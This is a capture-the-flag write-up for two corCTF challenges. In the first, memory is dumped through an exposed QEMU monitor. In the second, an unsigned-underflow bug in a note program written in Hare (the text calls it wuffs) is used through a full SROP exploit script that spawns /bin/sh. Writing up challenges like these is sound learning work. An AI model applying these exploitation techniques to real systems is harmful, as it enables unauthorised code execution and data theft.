This year, I’ve played for m1cr0$oft 0ff1c3 team. We were in 24th place.

image

zeroday

Attachment

image

Not like a normal Linux kernel exploit challenge. This challenge doesn’t provide any vulnerable driver.

Then, I did check run.sh again carefully.

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh

qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel "./bzImage" \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \
-no-reboot \
-cpu qemu64,+smep,+smap \
-smp 2 \
-initrd "./initramfs.cpio.gz

You can see that there is no option: -monitor /dev/null , so you can access Qemu monitor by pressing Ctrl A + c or sendline \x01c.

So I wrote a script dump physical memory to screen and finally I found the address of the flag is 0x7bb1000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from os import popen

f = open("dump4.txt","wb")
io = remote("be.ax",32578)

io.recvuntil(b"proof of work: ")

cmd = io.recvline().decode()

sol = popen(cmd).read()

io.sendlineafter(b"solution: ",sol.encode())

io.sendlineafter(b"ctf@(none)",b"\x01c")

io.sendlineafter(b"(qemu) ",b"xp/2000c 0x7bb1000")

f.write(io.recvall(timeout=2))

f.close()

image

Flag: corctf{aLw@yS_cH3cK_tH3_q3Mu_m0n1t0r!}

harem-scarem

Attachment

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
use fmt;
use bufio;
use bytes;
use os;
use strings;
use unix::signal;

const bufsz: u8 = 8;

type note = struct {
title: [32]u8,
content: [128]u8,
init: bool,
};

fn ptr_forward(p: *u8) void = {
if (*p == bufsz - 1) {
fmt::println("error: out of bounds seek")!;
} else {
*p += 1;
};
return;
};

fn ptr_back(p: *u8) void = {
if (*p - 1 < 0) {
fmt::println("error: out of bounds seek")!;
} else {
*p -= 1;
};
return;
};

fn note_add(note: *note) void = {
fmt::print("enter your note title: ")!;
bufio::flush(os::stdout)!;
let title = bufio::scanline(os::stdin)! as []u8;
let sz = if (len(title) >= len(note.title)) len(note.title) else len(title);
note.title[..sz] = title[..sz];
free(title);

fmt::print("enter your note content: ")!;
bufio::flush(os::stdout)!;
let content = bufio::scanline(os::stdin)! as []u8;
sz = if (len(content) >= len(note.content)) len(note.content) else len(content);
note.content[..sz] = content[..sz];
free(content);
note.init = true;
};

fn note_delete(note: *note) void = {
if (!note.init) {
fmt::println("error: no note at this location")!;
return;
};
bytes::zero(note.title);
bytes::zero(note.content);
note.init = false;
return;
};

fn note_read(note: *note) void = {
if (!note.init) {
fmt::println("error: no note at this location")!;
return;
};
fmt::printfln("title: {}\ncontent: {}",
strings::fromutf8_unsafe(note.title),
strings::fromutf8_unsafe(note.content)
)!;
return;
};

fn handler(sig: int, info: *signal::siginfo, ucontext: *void) void = {
fmt::println("goodbye :)")!;
os::exit(1);
};

export fn main() void = {
signal::handle(signal::SIGINT, &handler);
let idx: u8 = 0;
let opt: []u8 = [];
let notes: [8]note = [
note { title = [0...], content = [0...], init = false}...
];
let notep: *[*]note = &notes;
assert(bufsz == len(notes));
for (true) {
fmt::printf(
"1) Move note pointer forward
2) Move note pointer backward
3) Add note
4) Delete note
5) Read note
6) Exit
> ")!;
bufio::flush(os::stdout)!;
opt = bufio::scanline(os::stdin)! as []u8;
defer free(opt);
switch (strings::fromutf8(opt)!) {
case "1" => ptr_forward(&idx);
case "2" => ptr_back(&idx);
case "3" => note_add(&notep[idx]);
case "4" => note_delete(&notep[idx]);
case "5" => note_read(&notep[idx]);
case "6" => break;
case => fmt::println("Invalid option")!;
};
};
};

We have the source code of the binary which writtern in wuffs language.

There is a bug in the function ptr-back:

1
2
3
4
5
6
7
8
fn ptr_back(p: *u8) void = {
if (*p - 1 < 0) {
fmt::println("error: out of bounds seek")!;
} else {
*p -= 1;
};
return;
};

Because the type of p is unsigned, *p-1 never be less than 0.

I will take advantage of this bug to set idx = 0xa. So we can overwrite saved $RIP.

image

Checksec tells us that the binary has RWX segment. But when I check in gdb, there is no RWX segment so we must forcus on ROP attack.

image

Almost gadgets are end of with leave ;ret , so it’s so hard to use these gadgets to create a useful rop chain.

But when analyzing functions list, I found the rt_restore_si function:

image

So I will use SROP technique to exploit this binary. Because there is no /bin/sh string in the binary, I must find the way to store /bin/sh on .bss segment.

This is my stratergy:

  1. Create a SROP chain that makes stack pivot to .bss segment.

  2. Create a SROP chain that calls execve("/bin/sh",0,0) (We can store /bin/sh after the chain to ensure that the address of string /bin/sh are always fixed).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python
from pwn import *
from time import sleep
from os import popen
context.binary = e = ELF("./harem")

gs="""
b *0x00000000080009E3
"""
def start():
if args.LOCAL:
p=e.process()
if args.GDB:
gdb.attach(p,gdbscript=gs)
pause()
elif args.REMOTE:
p=remote(args.HOST,int(args.PORT))
p.recvuntil(b'proof of work: ')
cmd = p.recvline().decode()
p.sendlineafter(b'solution: ',popen(cmd).read().encode())
return p

p = start()

def forward():
p.sendlineafter(b"> ",b"1")

def backward():
p.sendlineafter(b"> ",b"2")

def delete():
p.sendlineafter(b"> ",b"4")

def add_pad(rop: bytes):
p.sendlineafter(b"> ",b"3")
p.sendlineafter(b"title:",b"A"*0x10)
p.sendlineafter(b"content:",b"B"*22+rop)

def add(rop: bytes):
p.sendlineafter(b"> ",b"3")
p.sendlineafter(b"title:",rop[:32])
p.sendlineafter(b"content:",rop[32:])

for i in range(0xf6):
backward()
delete()
syscall_ret = 0x801A468
sigret = 0x000000000801A4AC
frame1 = SigreturnFrame()
frame1.rax = 0
frame1.rdi = 0
frame1.rsi = 0x80000100
frame1.rdx = 0x8000
frame1.rsp = 0x80000100
frame1.rip = syscall_ret
payload = p64(sigret)+bytes(frame1)[1:]

add_pad(payload[:128-22])
forward()
add(payload[128-22:])
p.sendlineafter(b"> ",b"6")

frame2 = SigreturnFrame()
frame2.rax = 0x3b
frame2.rdi = 0x80000100+8+len(bytes(frame2))
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret


pause()

p.sendline(p64(sigret)+bytes(frame2)+b"/bin/sh\0")

p.interactive()

image

Flag: corctf{sur3ly_th15_t1m3_17_w1ll_k1ll_c!!}